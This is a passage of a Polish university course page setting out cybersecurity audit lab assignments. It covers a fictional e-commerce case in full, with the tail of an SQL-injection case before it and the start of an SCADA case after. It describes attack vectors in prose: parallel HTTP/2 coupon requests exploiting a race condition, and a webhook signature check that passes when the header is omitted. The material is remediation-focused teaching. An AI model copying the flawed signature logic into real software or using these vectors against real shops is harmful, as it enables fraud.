  • Dekonstrukcja techniczna podatności SQL Injection i GraphQL (4 min): Prezentacja podatnego kodu Java, mechanizmu Second-Order SQLi, zrzutów zapytań z bazy PostgreSQL, wektora GraphQL Batching oraz demonstracja działania exploita podmieniającego punkty kandydata (Student B - Technical SecOps Auditor).
  • Prezentacja Kanonicznej Karty Niezgodności 4C, analizy 5 Why i matrycy ryzyka 5x5 (4 min): Uzasadnienie kwalifikacji uchybienia, korelacja z KRI, art. 32 RODO, art. 270 KK i normą ISO 27001 oraz wyliczenie redukcji ryzyka z IR=25 do RR=5 (Student C - Compliance Auditor).
  • Prezentacja Trójfazowego Planu CAP i Załącznika Wykonawczego SOP (3 min): Szczegółowe omówienie zapytań parametryzowanych, limitów GraphQL, bramek SonarQube i procedury rekrutacyjnej (Student B i Student C).
  • Dyskusja z komisją i obrona rekomendacji (1 min): Odpowiedzi na pytania dotyczące wykonalności weryfikacji ręcznej przed ogłoszeniem list (cała Triada Audytorska).
Zakres raportu poaudytowego i dokumentacji wdrożeniowej (12-16 stron A4)

Struktura raportu strategicznego na ocenę 5.0 (objętość 12-16 stron A4):

A. Podsumowanie Zarządcze (Executive Summary - "Pitch to Board") - 1 strona A4:

  • Syntetyczny bilans ryzyk związanych z integralnością danych rekrutacyjnych (IR vs RR).
  • Ocena skutków prawnych (PZP, Prawo o szkolnictwie wyższym, Kodeks Karny, UODO).
  • Budżet Planu CAP (210 000 PLN) vs ROSI.

B. Odpowiedzi na zaawansowane pytania problemowe i opis sytuacji kryzysowej:

  • Czym charakteryzuje się wstrzyknięcie SQL drugiego rzędu (Second-Order SQL Injection), dlaczego tradycyjne filtry wejściowe (Web Application Firewall) często zawodzą w jego wykrywaniu i dlaczego jedynym skutecznym zabezpieczeniem jest stosowanie zapytań parametryzowanych w miejscu wykonania zapytania w bazie danych?
  • W jaki sposób mechanizm Query Depth Limiting oraz Query Complexity Analysis zabezpiecza interfejsy API GraphQL przed atakami typu Denial of Service oraz nieautoryzowaną eksfiltracją relacyjnych baz danych?
  • Jakie są rygory prawne i organizacyjne związane z procedurą unieważnienia lub korekty oficjalnych list rankingowych kandydatów na studia wyższe w świetle przepisów Kodeksu Postępowania Administracyjnego i Ustawy - Prawo o szkolnictwie wyższym i nauce?

C. Kanoniczna Karta Ustaleń Audytowych w Modelu 4C.

D. Zaawansowana Matryca Ryzyka 5x5 i Wskaźniki BCM / CVSS (IR vs RR, CVSS v3.1 Base Score 9.8).

E. Trójfazowy Plan Działań Korygujących (CAP) (Faza 1 [0-7 dni], Faza 2 [30 dni], Faza 3 [90 dni], RACI, KPI, KRI).

F. Sformalizowany Projekt Załącznika Wykonawczego (SOP) - Standard Bezpiecznego Programowania (§ 1 do § 6).

G. Analiza kompromisów inżynierskich (narzut wydajnościowy analizy złożoności zapytań GraphQL vs ochrona stabilności serwerów dziekanatu).

H. Bibliografia, netografia i regulacje prawne.

Bibliografia, netografia i regulacje prawne
  • OWASP Foundation: "OWASP Top 10:2021", Kategoria A03:2021 Injection.
  • OWASP Foundation: "Application Security Verification Standard (ASVS) v4.0.3", Sekcja V5 Malicious Code Architecture and Input Validation.
  • OWASP Foundation: "GraphQL Cheat Sheet: Security Best Practices for GraphQL APIs", 2023.
  • Ustawa z dnia 20 lipca 2018 r. - Prawo o szkolnictwie wyższym i nauce (Dz.U. z 2023 r. poz. 742 z późn. zm.).
  • Rozporządzenie Rady Ministrów z dnia 12 kwietnia 2012 r. w sprawie Krajowych Ram Interoperacyjności (Dz.U. z 2017 r. poz. 2247) - § 20.
  • Rozporządzenie Parlamentu Europejskiego i Rady (UE) 2016/679 (RODO) - art. 5 (Zasady przetwarzania danych), art. 32 (Bezpieczeństwo przetwarzania).
  • Norma PN-EN ISO/IEC 27001:2022: Załącznik A - kontrole A.8.25 (Bezpieczny cykl życia rozwoju), A.8.28 (Bezpieczne kodowanie), A.8.29 (Testowanie bezpieczeństwa w rozwoju i akceptacji).
  • Kodeks Karny (Dz.U. z 1997 r. nr 88 poz. 553 z późn. zm.) - art. 268a (Niszczenie lub uszkadzanie danych informatycznych), art. 270 (Fałszowanie dokumentów).
Przypisanie do efektów uczenia się z sylabusa
  • U2 Precyzyjna identyfikacja i formalna gradacja podatności Second-Order SQLi i GraphQL w modelu 4C oraz dochodzenie 5 Why.
  • U1 Projekt architektury zapytań parametryzowanych, reguł walidacji i bramek SAST w potoku DevSecOps.
  • U3 Kwantyfikacja ryzyka w matrycy 5x5 w ujęciu inherentnym i rezydualnym z powiązaniem ze wskaźnikami CVSS i BCM.
  • U4 Konstrukcja Trójfazowego Planu CAP oraz przygotowanie profesjonalnego briefingu zarządczego (Pitch to Board).
  • W1W2W3 Wyczerpująca znajomość wymogów Prawa o szkolnictwie wyższym, KRI, RODO, normy ISO 27001 i OWASP ASVS L3.
  • K1K2K3 Obiektywizm, niezależność osądu audytorskiego i wysoka etyka ochrony uczciwości rekrutacji akademickiej.
Wskazówki do przygotowania i obrony referatu

Podczas obrony referatu przedstawcie komisji dokładny listing kodu podatnego przed audytem oraz kod wzorcowy po refaktoryzacji z wykorzystaniem interfejsu PreparedStatement. Zwróćcie uwagę na kluczowy aspekt prawny: sfałszowanie listy rankingowej skutkowałoby wadliwością prawną wszystkich decyzji administracyjnych o przyjęciu na studia.

04
Ogólnopolska platforma e-commerce 'Superkoszyk Polska S.A.' i Centrum rozliczeń transakcji (sektor handlu cyfrowego i fintech / PCI DSS v4.0 / DORA / ustawa o prawach konsumenta)
Zwiń

Temat: Strategiczny Audyt Błędów Projektowych i Logiki Biznesowej (A04:2021 - Insecure Design: Race Conditions, Manipulacja Koszykiem i Desynchronizacja Bramki Płatności): Zbieżność PCI DSS V4.0, DORA, Model 4C, Ryzyko 5X5 i Trójfazowy Plan CAP

SuperKoszyk Polska S.A. i Centrum Rozliczeń Transakcji (PCIDSS v4.0 / DORA / prawa konsumenta)Audyt A04:2021 Insecure Design (formuła 90 min)1Race Condition /TOCTOU z HTTPpipeliningiem nakuponie 500 PLN2Manipulacja kwotą wasynchronicznymwebhooku bramkipłatności3Straty 6,2 mln PLN,desynchronizacjarozliczeń (IR=25,CVSS 8.5)4Blokady pesymistyczneACID + HMAC-SHA256webhooks + STRIDE +CAPSchemat strategicznego audytu błędów projektowych Insecure Design w platformie e-commerce: wyścig zasobówRace Conditions w logice koszyka, desynchronizacja webhooków płatności, model 4C, matryca ryzyka 5x5 i
Schemat strategicznego audytu błędów projektowych Insecure Design w platformie e-commerce: wyścig zasobów Race Conditions w logice koszyka, desynchronizacja webhooków płatności, model 4C, matryca ryzyka 5x5 i Trójfazowy Plan CAP
Cel zadania i powiązanie z efektami kształcenia

Głównym celem strategicznego zadania laboratoryjnego na ocenę 5.0 jest przeprowadzenie wysoce złożonego audytu błędów projektowych i podatności logiki biznesowej (kategoria OWASP Top 10:2021 - A04:2021 Insecure Design) w ogólnopolskiej platformie e-commerce i fintech obsługującej rocznie ponad 3,5 mln transakcji zakupu oraz przetwarzającej płatności kartowe i mobilne. Audyt koncentruje się na krytycznych lukach architektonicznych: wyścigu zasobów (Race Condition / Time-of-Check to Time-of-Use - TOCTOU) w module naliczania jednorazowych kuponów rabatowych i kart podarunkowych, braku atomowości operacji koszykowych przy równoległych żądaniach HTTP (HTTP/2 pipelining) oraz desynchronizacji stanów zamówienia z zewnętrznymi bramkami płatności (PayU, Przelewy24, BLIK) w asynchronicznych webhookach zwrotnych. W toku incydentu zorganizowana grupa przestępcza, wykorzystując skrypty wielowątkowe, zrealizowała wielokrotnie te same kody rabatowe o wartości 500 PLN w odstępach milisekundowych, redukując wartość zamówień na sprzęt elektroniczny klasy premium do 0 PLN, a poprzez manipulację podpisem HMAC w asynchronicznym webhooku doprowadziła do fałszywego uznania zamówień na łączną kwotę 6,2 mln PLN. Zadanie wymaga przeprowadzenia dekompozycji w kanonicznym modelu 4C, wyliczenia ryzyka w 25-stopniowej matrycy 5x5 skorelowanej z punktacją CVSS v3.1 (8.5 High) oraz parametrami BCM (RTO=15m, RPO=0s, MTPD=30m), skonstruowania Trójfazowego Planu Działań Korygujących (CAP) ze wskaźnikami KPI i KRI, opracowania sformalizowanego Załącznika Wykonawczego (SOP) definiującego reguły transakcyjności ACID, blokad bazodanowych, modelowania zagrożeń STRIDE i weryfikacji kryptograficznej webhooków oraz przygotowania 1-stronicowego Podsumowania Zarządczego (Pitch to Board) dla Zarządu i Dyrektora Finansowego (CFO) Spółki.

Powiązanie z sylabusem i efektami kształcenia na ocenę 5.0:

  • W1 Zaawansowana znajomość standardu Payment Card Industry Data Security Standard (PCI DSS v4.0 - wymagania 6.4 i 6.5 dotyczące bezpiecznego projektowania oprogramowania), Rozporządzenia DORA (odporność cyfrowa podmiotów finansowych i bram płatniczych), Ustawy o prawach konsumenta, Kodeksu Cywilnego (zawarcie umowy na odległość) oraz odpowiedzialności karnej z art. 286 KK (oszustwo).
  • W2W3 Rygorystyczna korelacja standardów OWASP Top 10:2021 (A04 Insecure Design), OWASP ASVS v4.0.3 L3 (Sekcja V1 Architektura, Projektowanie i Modelowanie Zagrożeń, Sekcja V11 Logika Biznesowa), normy PN-EN ISO/IEC 27001:2022 (kontrole A.8.25 Bezpieczny cykl życia rozwoju, A.8.26 Wymagania bezpieczeństwa aplikacji, A.8.27 Inżynieria bezpiecznych systemów) oraz metodyki modelowania zagrożeń STRIDE.
  • U1 Opracowanie zaleceń inżynierskich wdrożenia blokad pesymistycznych na poziomie bazy danych (`SELECT ... FOR UPDATE`), idempotencyjności operacji API (Idempotency Keys w nagłówkach HTTP), kryptograficznej walidacji sygnatur webhooków HMAC-SHA256 oraz obligatoryjnego modelowania zagrożeń w cyklu SDLC.
  • U2 Bezbłędna kwalifikacja uchybienia architektonicznego w modelu 4C z precyzyjnym powołaniem norm i przepisów.
  • U3 Kwantyfikacja ryzyka w matrycy 5x5 dla wektorów strat finansowych z wyścigu zasobów, fałszowania webhooków płatności i utraty certyfikacji PCI DSS (IR=25, CVSS=8.5, korelacja z BCM).
  • U4 Opracowanie Trójfazowego Planu CAP, projektu procedury SOP oraz 1-stronicowego briefingu zarządczego (Pitch to Board).
  • K1K2K3 Profesjonalizm audytorski, bezstronność w ocenie błędów architektów, odporność na presję biznesową przedkładającą szybkość 'Time to Market' nad bezpieczeństwo transakcji.
  • Powiązanie z wykładem: Wyk1 (Ład korporacyjny e-commerce i fintech), Wyk3 (Kontrole A.8.25, A.8.26 i A.8.27 ISO 27001), Wyk4 (PCI DSS v4.0 i DORA), Wyk5 (Matryca ryzyka 5x5 i analiza wpływu biznesowego BIA), Wyk6 (Analiza logów transakcyjnych i współbieżności), Wyk7 (Model 4C, 5 Why, Trójfazowy CAP i Pitch to Board).
Scenariusz sytuacyjny organizacji

'Superkoszyk Polska S.A.' jest jednym z największych detalistów internetowych w Europie Środkowo-Wschodniej. Platforma operuje na klastrze mikroserwisów w chmurze AWS z bazą danych PostgreSQL oraz klastrem cache'ującym Redis. W trakcie ogólnopolskiej kampanii promocyjnej 'Black Week' spółka wyemitowała 100 000 unikalnych, jednorazowych kodów rabatowych o wartości 500 PLN każdy (z przeznaczeniem na zakupy o wartości min. 1000 PLN).

Stan faktyczny w obszarze logiki biznesowej i incydentu transakcyjnego:

  • W mikroserwisie koszyka i kuponów (`CouponService.java`) proces weryfikacji i naliczania zniżki został zaprojektowany w modelu rozdzielonym: krok 1 polegał na sprawdzeniu, czy kupon w bazie danych ma status `AKTYWNY` (`isCouponValid(code)`), a krok 2 (wykonywany po asynchronicznej kalkulacji podatków i kosztów dostawy w innym mikroserwisie) na zmianie statusu kuponu na `WYKORZYSTANY` (`markCouponUsed(code)`). Pomiędzy krokiem 1 a 2 upływało średnio 80-120 milisekund.
  • Zorganizowana grupa sprawców wykorzystała podatność wyścigu zasobów (Race Condition / TOCTOU). Za pomocą skryptu w języku Python wysyłano w pojedynczym pakiecie TCP (wykorzystując wielodostępność HTTP/2 multiplexing) 30 równoległych żądań `POST /api/v1/checkout/apply-coupon` w odstępach poniżej 2 milisekund. W efekcie wszystkie 30 wątków odczytało status kuponu jako `AKTYWNY` przed wykonaniem aktualizacji statusu przez którykolwiek z nich, co pozwoliło na 30-krotne odliczenie kwoty 500 PLN (łącznie 15 000 PLN rabatu) dla tego samego zamówienia, redukując cenę laptopów i smartfonów Apple o łącznej wartości 14 500 PLN do 0 PLN.
  • Co więcej, w mikroserwisie obsługi płatności (`PaymentWebhookController.java`), odbierającym asynchroniczne komunikaty statusowe od operatora płatności (`POST /api/v1/payments/webhook`), programiści błędnie zaimplementowali weryfikację podpisu HMAC-SHA256: sprawdzano jedynie obecność nagłówka `X-Signature`, ale z powodu błędu logicznego w instrukcji warunkowej (`if (signature != null) ... else return true;`) pominięcie nagłówka w spreparowanym żądaniu HTTP powodowało bezwarunkowe zaakceptowanie statusu `STATUS_PAID`.
  • W ciągu 48 godzin sprawcy wygenerowali 412 nieuprawnionych transakcji zakupu drogiej elektroniki, a zautomatyzowany system magazynowy WMS wydał towar kurierom. Łączne bezpośrednie straty finansowe spółki wyniosły 6,2 mln PLN. Incydent doprowadził również do desynchronizacji salda rozliczeniowego z operatorem kart płatniczych i wszczęcia procedury audytu specjalnego przez organizacje płatnicze Visa i Mastercard z groźbą natychmiastowego cofnięcia certyfikatu PCI DSS v4.0.

Prezes Zarządu i Dyrektor Finansowy (CFO), stając przed widmem utraty zdolności operacyjnej, dochodzenia prokuratorskiego z art. 286 KK oraz kar regulacyjnych, powołują Triadę Audytorską do przeprowadzenia strategicznego audytu w formule 90 minut na poziomie oceny 5.0.

Wskazówki wykonania krok po kroku w formule 90 minut

Zadanie realizowane jest w ścisłym reżimie warsztatowym (formuła 90 minut) przez 2-3 osobową Triadę Audytorską:

  • Krok 1 (Podział ról w Triadzie Audytorskiej - Minuty 00-15):

    Student A (Lead Auditor / Zgodność z PCI DSS i Ład Finansowy): Odpowiada za ład zarządczy (Governance), zgodność ze standardem PCI DSS v4.0, Rozporządzeniem DORA, przepisami prawa konsumenckiego, koordynację matrycy 5x5 oraz przygotowanie 1-stronicowego Executive Summary ("Pitch to Board") dla Zarządu i CFO.

    Student B (Technical SecOps Auditor / Architekt Niezawodności i Logiki Biznesowej): Dekonstruuje podatność TOCTOU w kodzie CouponService, analizuje logi HTTP/2 multiplexing, błąd weryfikacji sygnatury webhooka w kontrolerze płatności, projektuje mechanizm blokad pesymistycznych bazy danych (`SELECT FOR UPDATE`), klucze idempotencyjności (Idempotency Keys) oraz kryptograficzną weryfikację HMAC.

    Student C (Governance, Risk & Compliance Auditor): Opracowuje Kanoniczną Kartę Niezgodności 4C, wylicza ryzyko w matrycy 5x5 skorelowane ze wskaźnikami CVSS v3.1 (8.5 High) i BCM (RTO=15m, RPO=0s, MTPD=30m), prowadzi sekwencję 5 Why oraz konstruuje Trójfazowy Plan CAP ze wskaźnikami KPI i KRI. W zespole dwuosobowym zadania te dzielą Studenci A i B.

  • Krok 2 (Opracowanie Kanonicznej Karty Niezgodności 4C - Minuty 15-40):

    Sformułujcie kartę uchybienia krytycznego w modelu 4C:

Kanoniczna Karta Ustaleń Audytowych – model 4C
1. Condition (Stan faktyczny)

Aplikacja e-commerce wykazuje podatność na wyścig zasobów (Race Condition / TOCTOU) w obsłudze kuponów promocyjnych z powodu braku blokad transakcyjnych oraz zawiera krytyczną wadę logiki weryfikacji sygnatury HMAC w webhooku płatności, co doprowadziło do bezprawnego pobrania towarów o wartości 6,2 mln PLN bez uiszczenia zapłaty.

2. Criteria (Kryterium)

Naruszenie standardu PCI DSS v4.0 (wymóg 6.4 - bezpieczny rozwój oprogramowania i ochrona przed lukami w logice, wymóg 6.5 - zabezpieczenia przed błędami kodowania), normy PN-EN ISO/IEC 27001:2022 (kontrole A.8.25, A.8.26, A.8.27 Inżynieria bezpiecznych systemów), wytycznych OWASP ASVS v4.0.3 L3 (Sekcja V11 Business Logic Verification Requirements), art. 9 i 13 Rozporządzenia DORA oraz art. 286 Kodeksu Karnego.

3. Cause (Przyczyna źródłowa – 5 Why)
  1. Dlaczego kupony rabatowe zostały naliczone 30-krotnie? (Wielowątkowe żądania odczytały status kuponu jako aktywny zanim nastąpił zapis w bazie).
  2. Dlaczego odczyt i zapis nie były zsynchronizowane? (Zaprojektowano asynchroniczny proces bez blokady rekordów na poziomie transakcji ACID).
  3. Dlaczego programiści nie użyli blokady transakcyjnej? (Chcieli uniknąć zakleszczeń 'deadlock' i maksymalizować przepustowość koszyka podczas Black Week).
  4. Dlaczego luka w webhooku płatności nie została wychwycona w testach? (Testy jednostkowe weryfikowały wyłącznie scenariusz z poprawnym podpisem, całkowicie pomijając testy negatywne z brakiem nagłówka).

Przyczyna źródłowa: Brak obligatoryjnego modelowania zagrożeń (Threat Modeling metodą STRIDE) na etapie projektowania architektury, brak kultury testów bezpieczeństwa logiki biznesowej oraz podporządkowanie rygorów inżynierskich presji marketingowej 'Time to Market'.

4. Consequence (Skutki)

Bezpośrednia strata finansowa w kwocie 6,2 mln PLN, natychmiastowe ryzyko utraty certyfikacji PCI DSS v4.0 uniemożliwiające dalsze procesowanie kart płatniczych (paraliż sprzedaży generującej 400 mln PLN rocznie), kary administracyjne organów nadzoru finansowego z Rozporządzenia DORA oraz odpowiedzialność odszkodowawcza Zarządu wobec akcjonariuszy spółki.

Analiza przyczyn źródłowych – drzewo 5 Why
  1. 1
    Dlaczego kupony rabatowe zostały naliczone 30-krotnie? (Wielowątkowe żądania odczytały status kuponu jako aktywny zanim nastąpił zapis w bazie).
  2. 2
    Dlaczego odczyt i zapis nie były zsynchronizowane? (Zaprojektowano asynchroniczny proces bez blokady rekordów na poziomie transakcji ACID).
  3. 3
    Dlaczego programiści nie użyli blokady transakcyjnej? (Chcieli uniknąć zakleszczeń 'deadlock' i maksymalizować przepustowość koszyka podczas Black Week).
  4. 4
    Dlaczego luka w webhooku płatności nie została wychwycona w testach? (Testy jednostkowe weryfikowały wyłącznie scenariusz z poprawnym podpisem, całkowicie pomijając testy negatywne z brakiem nagłówka).
  5. root
    Przyczyna źródłowa: Brak obligatoryjnego modelowania zagrożeń (Threat Modeling metodą STRIDE) na etapie projektowania architektury, brak kultury testów bezpieczeństwa logiki biznesowej oraz podporządkowanie rygorów inżynierskich presji marketingowej 'Time to Market'.
  • Krok 3 (Zaawansowana Matryca Ryzyka 5x5 i Wskaźniki BCM / CVSS - Minuty 15-40):

    Skwantyfikujcie 4 wektory zagrożeń w skali 25-stopniowej (P 1-5 x S 1-5):

Zagrożenie (obszar podatności OWASP)P (in.)S (in.)Ryzyko inherentne (IR)P (po CAP)S (po CAP)Ryzyko rezydualne (RR)
Masowe straty finansowe w wyniku eksploatacji podatności Race Condition w kuponach rabatowych ( 5 5 25/25 – Ryzyko Ekstremalne 1 3 3/25 – Ryzyko Akceptowalne
Ominięcie płatności przez sfałszowanie asynchronicznego webhooka płatniczego ( 5 5 25/25 1 4 4/25
Utrata certyfikacji PCI DSS v4.0 i zablokowanie przyjmowania płatności kartowych ( 4 5 20/25 1 4 4/25
Blokada bazy danych (Deadlocks / DoS) w wyniku nieprawidłowej implementacji blokad współbieżności ( 4 4 16/25 1 3 3/25
ParametrWartość docelowa
rto15 min dla przywrócenia stabilnej weryfikacji transakcji
rpo0 sekund (ochrona spójności ksiąg rachunkowych)
mtpd30 minut (maksymalny czas przestoju bramek płatności)
  • Krok 4 (Konstrukcja Trójfazowego Planu Działań Korygujących - CAP - Minuty 40-70):

    Opracujcie tabelę CAP w 3 horyzontach czasowych:

FazaHoryzont Działania naprawczeRACI (właściciele) KPI (wskaźniki efektywności)KRI / termin weryfikacji
1 – Działania natychmiastowe mitygujące0-7 dniZablokowanie realizacji zamówień z kuponami rabatowymi z Black Week do czasu weryfikacji analitycznej, wdrożenie bezwzględnej walidacji nagłówka `X-Signature` w kontrolerze webhooków (odrzucenie kodem HTTP 401 w przypadku braku lub błędnego podpisu), tymczasowe wyłączenie obsługi równoległych żądań koszykowych dla tego samego identyfikatora użytkownika na bramie APIA - Prezes Zarządu, R - Architekt Systemowy / CISO100% webhooków z poprawnym podpisem kryptograficznymLiczba podejrzanych zamówień o wartości 0 PLN = 0
2 – Działania krótkoterminowe inżyniersko-wdrożeniowe30 dniPełna przebudowa warstwy transakcyjnej - wdrożenie blokad pesymistycznych `SELECT ... FOR UPDATE` w module realizacji kuponów zamykających operację w pojedynczej transakcji ACID; implementacja nagłówków idempotencyjności (`Idempotency-Key` z unikalnym UUID składowanym w klastrze Redis z TTL=300s); wdrożenie biblioteki kryptograficznej weryfikującej sygnatury webhooków w czasie stałym (Constant-Time Comparison) uniemożliwiającej ataki czasowe Timing AttacksA - CTO, R - Lead Backend Engineer100% operacji finansowych chronionych kluczem idempotencyjnościLiczba konfliktów transakcyjnych < 0.01%
3 – Działania systemowe i ład korporacyjny90 dniWdrożenie obligatoryjnej metodyki modelowania zagrożeń STRIDE na etapie projektowania każdej nowej funkcjonalności biznesowej w procesie Secure SDLC; audyt recertyfikacyjny PCI DSS v4.0 z udziałem Asesora QSA (Qualified Security Assessor); wdrożenie zautomatyzowanych testów współbieżności i testów wyścigów (Concurrency Testing / Chaos Engineering) w potoku CI/CDA - Zarząd Spółki, R - CISO / Asesor QSAZgodność z PCI DSS v4.0 potwierdzona certyfikatem AOCLiczba błędów logiki w testach akceptacyjnych = 0
  • Krok 5 (Sformalizowany Projekt Załącznika Wykonawczego SOP - Minuty 40-70):

    Zredagujcie sformalizowany akt normatywny: "Standard Architektury Niezawodnościowej, Transakcyjności i Odporności Logiki Biznesowej Superkoszyk Polska S.A." z numerowanymi artykułami:

    • § 1 Zakres i cel procedury (zapewnienie integralności transakcji finansowych i zgodności z PCI DSS v4.0).
    • § 2 Obowiązkowe reguły współbieżności i atomowości (wymóg transakcji ACID, blokad pesymistycznych i kluczy idempotencyjności).
    • § 3 Standard integracji z zewnętrznymi bramkami płatności (kryptograficzna weryfikacja webhooków HMAC w czasie stałym).
    • § 4 Wymogi modelowania zagrożeń STRIDE przed wdrożeniem nowych promocji i modułów płatniczych.
    • § 5 Procedura testów przeciążeniowych i współbieżnych w potokach CI/CD.
    • § 6 Sankcje służbowe i finansowe za wdrażanie zmian w logice finansowej z pominięciem akceptacji architektonicznej.
  • Krok 6 (Opracowanie Podsumowania Zarządczego - Pitch to Board - Minuty 70-90):

    Przygotujcie 1-stronicowy dokument dla Zarządu i CFO: bilans ryzyk (redukcja z 4 ryzyk ekstremalnych IR>=20 do poziomu akceptowalnego RR<=4), rozliczenie strat 6,2 mln PLN i plan ich odzyskania, zachowanie certyfikatu PCI DSS v4.0 (ochrona rocznego obrotu 400 mln PLN), kosztorys CAP (320 000 PLN na refaktoryzację, audyt QSA i narzędzia) oraz stopa zwrotu z inwestycji (ROSI).

Plan referatu studenckiego (15 minut) i obrona ustna

Plan prezentacji seminaryjnej przed komisją (15 minut):

  • Prezentacja Podsumowania Zarządczego (Pitch to Board) dla Zarządu i CFO (3 min): Przedstawienie skali strat finansowych, ekspozycji na utratę licencji PCI DSS oraz bilansu ryzyk przed i po CAP (Student A - Lead Auditor).
  • Dekonstrukcja techniczna podatności wyścigu zasobów i webhooków (4 min): Prezentacja mechanizmu TOCTOU przy użyciu HTTP/2 pipelining, dekompozycja kodu CouponService, analiza luki weryfikacji HMAC oraz demonstracja wektora ataku wielowątkowego (Student B - Technical SecOps Auditor).
  • Prezentacja Kanonicznej Karty Niezgodności 4C, 5 Why i matrycy ryzyka 5x5 (4 min): Uzasadnienie kwalifikacji uchybienia, korelacja z PCI DSS v4.0, DORA, art. 286 KK i normą ISO 27001 oraz wyliczenie redukcji ryzyka z IR=25 do RR=3 (Student C - Compliance Auditor).
  • Prezentacja Trójfazowego Planu CAP i Załącznika Wykonawczego SOP (3 min): Szczegółowe omówienie blokad pesymistycznych, kluczy idempotencyjności, modelowania STRIDE i audytu QSA (Student B i Student C).
  • Dyskusja z komisją i obrona rekomendacji (1 min): Merytoryczne uzasadnienie wyboru blokad pesymistycznych kosztem minimalnego narzutu opóźnień bazy danych (cała Triada Audytorska).
Zakres raportu poaudytowego i dokumentacji wdrożeniowej (12-16 stron A4)

Struktura raportu strategicznego na ocenę 5.0 (objętość 12-16 stron A4):

A. Podsumowanie Zarządcze (Executive Summary - "Pitch to Board") - 1 strona A4:

  • Bilans ryzyk finansowych i transakcyjnych (IR vs RR).
  • Skutki utraty certyfikacji PCI DSS v4.0 dla ciągłości biznesu.
  • Budżet Planu CAP (320 000 PLN) vs Return on Security Investment (ROSI).

B. Odpowiedzi na pytania problemowe i opis sytuacji kryzysowej:

  • W jaki sposób technologia HTTP/2 (multiplexing, pipelining) oraz architektura mikrousługowa zwiększają podatność aplikacji webowych na wyścigi zasobów (Race Conditions / TOCTOU) i jakie wzorce projektowe (Pessimistic Locking, Idempotency Keys, Distributed Locks w Redis/Redlock) skutecznie eliminują te zagrożenia?
  • Jakie są fundamentalne zasady bezpiecznej weryfikacji asynchronicznych powiadomień webhook od operatorów płatności i dlaczego funkcja porównywania sygnatur kryptograficznych musi działać w czasie stałym (Constant-Time Comparison)?
  • Czym różni się podejście Secure by Design (Insecure Design) od usuwania podatności implementacyjnych w kodzie i w jaki sposób modelowanie zagrożeń STRIDE na etapie projektowania zapobiega błędom logiki biznesowej?

C. Kanoniczna Karta Ustaleń Audytowych w Modelu 4C.

D. Zaawansowana Matryca Ryzyka 5x5 i Wskaźniki BCM / CVSS (IR vs RR, CVSS v3.1 Base Score 8.5).

E. Trójfazowy Plan Działań Korygujących (CAP) (Faza 1 [0-7 dni], Faza 2 [30 dni], Faza 3 [90 dni], RACI, KPI, KRI).

F. Sformalizowany Projekt Załącznika Wykonawczego (SOP) - Standard Architektury Niezawodnościowej (§ 1 do § 6).

G. Analiza kompromisów inżynierskich (Performance vs Consistency: narzut blokad bazy danych na przepustowość transakcyjną w szczytach zakupowych).

H. Bibliografia, netografia i regulacje prawne.

Bibliografia, netografia i regulacje prawne
  • OWASP Foundation: "OWASP Top 10:2021", Kategoria A04:2021 Insecure Design.
  • OWASP Foundation: "Application Security Verification Standard (ASVS) v4.0.3", Sekcja V1 Architecture, Design and Threat Modeling, Sekcja V11 Business Logic.
  • Payment Card Industry Security Standards Council: "Payment Card Industry Data Security Standard (PCI DSS) Requirements and Testing Procedures v4.0", 2022.
  • Rozporządzenie Parlamentu Europejskiego i Rady (UE) 2022/2554 z dnia 14 grudnia 2022 r. w sprawie operacyjnej odporności cyfrowej sektora finansowego (Rozporządzenie DORA).
  • Norma PN-EN ISO/IEC 27001:2022: Załącznik A - kontrole A.8.25 (Bezpieczny cykl życia rozwoju), A.8.26 (Wymagania bezpieczeństwa aplikacji), A.8.27 (Inżynieria bezpiecznych systemów).
  • Ustawa z dnia 30 maja 2014 r. o prawach konsumenta (Dz.U. z 2020 r. poz. 287 z późn. zm.).
  • Kodeks Cywilny (Dz.U. z 1964 r. nr 16 poz. 93 z późn. zm.) - przepisy o zawarciu umowy i odpowiedzialności kontraktowej.
  • Kodeks Karny (Dz.U. z 1997 r. nr 88 poz. 553 z późn. zm.) - art. 286 (Oszustwo).
Przypisanie do efektów uczenia się z sylabusa
  • U2 Bezbłędna dekompozycja uchybień w logice biznesowej w modelu 4C i przeprowadzenie analizy 5 Why w środowisku e-commerce.
  • U1 Projekt architektury transakcyjnej z blokadami pesymistycznymi, kluczami idempotencyjności i kryptografią webhooków.
  • U3 Kwantyfikacja ryzyka w matrycy 5x5 w ujęciu inherentnym i rezydualnym z powiązaniem ze wskaźnikami CVSS i parametrami BCM.
  • U4 Konstrukcja Trójfazowego Planu CAP oraz przygotowanie profesjonalnego briefingu zarządczego (Pitch to Board).
  • W1W2W3 Wyczerpująca znajomość PCI DSS v4.0, DORA, normy ISO 27001 i metodyki STRIDE.
  • K1K2K3 Profesjonalizm audytorski, umiejętność obrony rygorów bezpieczeństwa przed presją sprzedażową i etyka biznesowa.
Wskazówki do przygotowania i obrony referatu

Podczas wystąpienia przed komisją zaprezentujcie animację lub schemat klatek czasowych ilustrujący powstawanie wyścigu zasobów (TOCTOU) w milisekundowych odstępach, a następnie wykażcie, w jaki sposób klucz idempotencyjności w Redis oraz blokada `FOR UPDATE` w PostgreSQL całkowicie serializują dostęp i eliminują podatność.

05
Miejskie przedsiębiorstwo energetyki cieplnej w Rzeszowie (operator usługi kluczowej / infrastruktura krytyczna / KSC / NIS2 / pn-En IEC 62443 / KRI)
Zwiń

Temat: Strategiczny Audyt Błędnej Konfiguracji Zabezpieczeń (A05:2021 - Security Misconfiguration) w Portalu E-bok i Bramie Webowej Telemetrii SCADA: Zbieżność KSC, NIS2, IEC 62443, Model 4C, Ryzyko 5X5 i Trójfazowy Plan CAP

MPEC w Rzeszowie – e-BOK i brama telemetrii SCADA (KSC / NIS2/ IEC 62443 / KRI)Audyt A05:2021 Security Misconfiguration (formuła 90 min)1DomyślnepoświadczeniaWildFly, tryb debugujawnia ciągi DBSCADA2Permisywna politykaCORS zpoświadczeniami, brakCSP i HSTS3Próba zdalnegoprzestawienia zaworówmagistrali zimą(IR=25, CVSS 9.4)4Hardening CIS +Ansible + CSP/HSTS +strefy Purdue / IEC62443 + CAPSchemat strategicznego audytu błędnej konfiguracji Security Misconfiguration w miejskiej sieciciepłowniczej: brama webowa SCADA, konsola serwera aplikacji, model Purdue, model 4C, matryca ryzyka 5x5 i
Schemat strategicznego audytu błędnej konfiguracji Security Misconfiguration w miejskiej sieci ciepłowniczej: brama webowa SCADA, konsola serwera aplikacji, model Purdue, model 4C, matryca ryzyka 5x5 i Trójfazowy Plan CAP
Cel zadania i powiązanie z efektami kształcenia

